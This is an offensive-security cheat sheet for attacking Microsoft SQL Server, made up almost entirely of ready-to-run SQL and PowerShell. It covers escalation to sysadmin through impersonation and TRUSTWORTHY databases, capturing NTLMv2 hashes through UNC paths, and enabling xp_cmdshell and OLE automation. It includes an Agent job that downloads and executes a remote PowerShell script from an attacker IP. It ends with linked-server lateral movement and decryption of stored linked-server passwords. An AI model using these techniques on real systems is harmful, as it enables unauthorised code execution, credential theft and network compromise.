MSSQL Attacks

MSSQL Privilege Escalation

privilege escalation in MSSQL Server, where the goal is to get a login with the server-level sysadmin role, like the sa login which is disabeld by default.

Impersonating Logins

MSSQL has a statement EXECUTE AS which allows to execute commands of a session to another login or user, like impersonation.

Check which logins are allowed to impersonate.

SELECT name FROM sys.server_permissions
JOIN sys.server_principals
ON grantor_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';

# oneliner
SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';

Impersonate SA login

# Impersonate
EXECUTE AS LOGIN = 'sa';

# Use database
use priv_esc;

# Show tables
SELECT name FROM sys.tables;

# Select column
SELECT * FROM flag;

Abusing Trustworthy Databases

MSSQL Server databases have a property called TRUSTWORTHY. Sysadmins can enable this and then assign the server-level sysadmin role to arbitrary logins.

Query DB users with db_owner role

USE webshop;
SELECT b.name, c.name
FROM webshop.sys.database_role_members a
JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id
LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;

# one-liner
USE webshop; SELECT b.name, c.name FROM webshop.sys.database_role_members a JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;

Impersonate as ws_user and and check for db_owner role

USE webshop;
EXECUTE AS LOGIN = 'ws_user';
SELECT IS_ROLEMEMBER('db_owner');

Assign user in this case ws_dev sysadmin role

CREATE PROCEDURE sp_privesc
WITH EXECUTE AS OWNER
AS
	EXEC sp_addsrvrolemember 'ws_dev', 'sysadmin'
GO

EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;

UNC Path Injection

We can capture NTLMv2 hashes from a user the MSSQL server is running as. Default is NT SERVICE\mssqlserver. We can use undocumented extended stored procedures:

  • xp_fileexist: Checks if file exists

  • xp_dirtree: Returns a directory tree

  • xp_subdirs: Returns a list of sub-directories

Example if hosts file exists

EXEC xp_fileexist 'C:\Windows\System32\drivers\etc\hosts';

Setup Responder

sudo responder -I tun0 -v

Then access

EXEC xp_dirtree '\\<IP>\a';
EXEC xp_subdirs '\\<IP>\a';
EXEC xp_fileexist '\\<IP>\a';

Command Execution

After escalating privileges to a login with the sysadmin role its possible to get CE.

Enable xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# Test
EXEC xp_cmdshell 'whoami';

Command Execution via MSSQL Server Agent Job

Create a new job which uses Powershell to download and execute a script.

USE msdb;  
GO

EXEC sp_add_job  
    @job_name = N'Malicious Job';
GO

EXEC sp_add_jobstep  
    @job_name = N'Malicious Job',
    @step_name = N'Execute PowerShell Script',
    @subsystem = N'PowerShell',
    @command = N'(New-Object Net.WebClient).DownloadString("http://10.10.14.104/a")|IEX;',
    @retry_attempts = 5,
    @retry_interval = 5;
GO

EXEC sp_add_jobserver  
    @job_name = N'Malicious Job';
GO

EXEC sp_start_job
    @job_name = N'Malicious Job';
GO

Command Execution via OLE Automation Stored Procedure

By default this is disabled but it can be enabled

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'ole automation procedures', 1;
RECONFIGURE;

OLE Automation allows to use other languages like VBS from a SQL query. Create a wscript.shell and execute a command.

DECLARE @objShell INT;
DECLARE @output varchar(8000);

EXEC @output = sp_OACreate 'wscript.shell', @objShell Output;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"';

Lateral Movement

In MSSQL Server, there is the concept of linked servers. By linking server A to B its possible to execute queries on server B from server A.

  • OPENQUERY: Run query on linked server

  • EXECUTE AT: Run query on linked server

  • OPENROWSET: Connects and runs a query on server

Enumerate Linked Servers

EXEC sp_linkedservers;

Use OPENQUERY to return database

SELECT * FROM OPENQUERY(SQL02, 'SELECT name, database_id, create_date FROM sys.databases');

Remote Command Execution via EXECUTE AT

Check permissions, we need sysadmin role.

SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

Execute a command remotely using linked server

EXECUTE ('EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "whoami";') AT SQL02;

Decrypting Linked Server Passwords (Post-Exploitation)

With a user with sysadmin role we can extract credentials to linked servers.

SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash
FROM master.sys.syslnklgns
INNER JOIN master.sys.sysservers
ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;

# Get hash
SELECT * FROM sys.key_encryptions;

Decrypt Service Master Key, first get entropy bytes

Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"

Then use script

$encryptedData = "0xFFFFFFFF500100<SNIP>";
$encryptedData = $encryptedData.Substring(18); # Remove 0x and padding
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');

$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;

Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK|ForEach-Object ToString X2) -join '');

Split pwdhash into IV and Ciphertext

SELECT
	name,
	SUBSTRING(pwdhash, 5, 16) AS 'IV',
	SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext'
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;

Decrypt password CyberChef recipe.

Or automate the process above with this script from NetSPI.

MSSQL Commands

SQL (ws_dev  guest@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonated
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query

More

# Enum impersonate
enum_impersonate

# Execute as
exec_as_login sa

# Dirtree
xp_dirtree \\10.10.14.104\a

# Enable xp_cmdshell
enable_xp_cmdshell

# Start a job
sp_start_job cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"

# Use linked server
use_link SQL02

Last updated

Was this helpful?